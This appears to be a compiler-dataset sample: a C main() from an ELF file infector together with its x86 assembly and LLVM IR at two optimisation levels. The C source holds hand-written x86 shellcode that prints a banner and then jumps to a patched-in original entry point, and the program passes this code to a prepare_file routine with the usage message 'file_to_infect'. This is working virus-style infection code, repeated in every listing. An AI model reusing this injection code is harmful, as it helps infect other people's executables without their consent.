#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ asm_code;

/* Variables and functions */
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
int /*<<< orphan*/ prepare_file(char *, char *, int, int);
int /*<<< orphan*/ stderr;
main(int argc, char **argv) {
  int off = 33;
  char asm_code[] = "\x57"
                    "\x56"
                    "\x50"
                    "\x53"
                    "\x51"
                    "\x52"
                    "\xeb\x1f"
                    "\x59"
                    "\xb8\x04\x00\x00\x00"
                    "\xbb\x01\x00\x00\x00"
                    "\xba\x18\x00\x00\x00"
                    "\xcd\x80"
                    "\x5a"
                    "\x59"
                    "\x5b"
                    "\x58"
                    "\x5e"
                    "\x5f"
                    "\xbd\x00\x00\x00\x00"
                    "\xff\xe5"
                    "\xe8\xdc\xff\xff\xff"
                    "---> www.cyneox.tk <---\n";
  if (argc != 2) {
    fprintf(stderr, "usage:%s file_to_infect\n", argv[0]);
    return 0;
  }
  prepare_file(argv[1], asm_code, sizeof(asm_code), off);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x60,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x21,-0x14(%rbp)
lea    -0x60(%rbp),%rdi
lea    0xea8(%rip),%rsi
mov    $0x45,%edx
call   1050 <memcpy@plt>
cmpl   $0x2,-0x8(%rbp)
je     1194 <main+0x64>
mov    0x2e6d(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xec2(%rip),%rsi
call   1040 <fprintf@plt>
movl   $0x0,-0x4(%rbp)
jmp    11b4 <main+0x84>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
lea    -0x60(%rbp),%rsi
mov    -0x14(%rbp),%ecx
mov    $0x45,%edx
call   1030 <prepare_file@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x60,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
sub    $0x48,%rsp
movaps 0xf05(%rip),%xmm0
movaps %xmm0,0x30(%rsp)
movaps 0xee9(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
movaps 0xecd(%rip),%xmm0
movaps %xmm0,0x10(%rsp)
movaps 0xeb1(%rip),%xmm0
movaps %xmm0,(%rsp)
movabs $0xa2d2d2d3c206b,%rax
mov    %rax,0x3d(%rsp)
cmp    $0x2,%edi
jne    117f <main+0x5f>
mov    0x8(%rsi),%rdi
mov    %rsp,%rsi
mov    $0x45,%edx
mov    $0x21,%ecx
call   1030 <prepare_file@plt>
jmp    1197 <main+0x77>
mov    0x2e5a(%rip),%rax
mov    (%rax),%edi
mov    (%rsi),%rdx
lea    0xeb3(%rip),%rsi
call   1040 <fprintf@plt>
xor    %eax,%eax
add    $0x48,%rsp
ret

LLVM IR (-O0):
@__const.main.asm_code = [69 x i8] c"WVPSQR\EB\1FY\B8\04\00\00\00\BB\01\00\00\00\BA\18\00\00\00\CD\80ZY[X^_\BD\00\00\00\00\FF\E5\E8\DC\FF\FF\FF---> www.cyneox.tk <---\0A\00"
@stderr = global i32 0
@.str = [25 x i8] c"usage:%s file_to_infect\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca [69 x i8]
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 33, i32* %6
%8 = bitcast [69 x i8]* %7 to i8*
%9 = load i32, i32* %4
%10 = icmp ne i32 %9, 2
br i1 %10, label %11, label %17
11: ; preds = %2
%12 = load i32, i32* @stderr
%13 = load i8**, i8*** %5
%14 = getelementptr inbounds i8*, i8** %13, i64 0
%15 = load i8*, i8** %14
%16 = call i32 @fprintf(i32 %12, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0), i8* %15)
store i32 0, i32* %3
br label %24
17: ; preds = %2
%18 = load i8**, i8*** %5
%19 = getelementptr inbounds i8*, i8** %18, i64 1
%20 = load i8*, i8** %19
%21 = getelementptr inbounds [69 x i8], [69 x i8]* %7, i64 0, i64 0
%22 = load i32, i32* %6
%23 = call i32 @prepare_file(i8* %20, i8* %21, i32 69, i32 %22)
store i32 0, i32* %3
br label %24
24: ; preds = %17, %11
%25 = load i32, i32* %3
ret i32 %25
}

LLVM IR (-O2):
@__const.main.asm_code = [69 x i8] c"WVPSQR\EB\1FY\B8\04\00\00\00\BB\01\00\00\00\BA\18\00\00\00\CD\80ZY[X^_\BD\00\00\00\00\FF\E5\E8\DC\FF\FF\FF---> www.cyneox.tk <---\0A\00"
@stderr = global i32 0
@.str = [25 x i8] c"usage:%s file_to_infect\0A\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [69 x i8]
%4 = getelementptr inbounds [69 x i8], [69 x i8]* %3, i64 0, i64 0
%5 = icmp eq i32 %0, 2
br i1 %5, label %10, label %6
6: ; preds = %2
%7 = load i32, i32* @stderr
%8 = load i8*, i8** %1
%9 = tail call i32 @fprintf(i32 %7, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str, i64 0, i64 0), i8* %8)
br label %14
10: ; preds = %2
%11 = getelementptr inbounds i8*, i8** %1, i64 1
%12 = load i8*, i8** %11
%13 = call i32 @prepare_file(i8* %12, i8* %4, i32 69, i32 33)
br label %14
14: ; preds = %10, %6
ret i32 0
}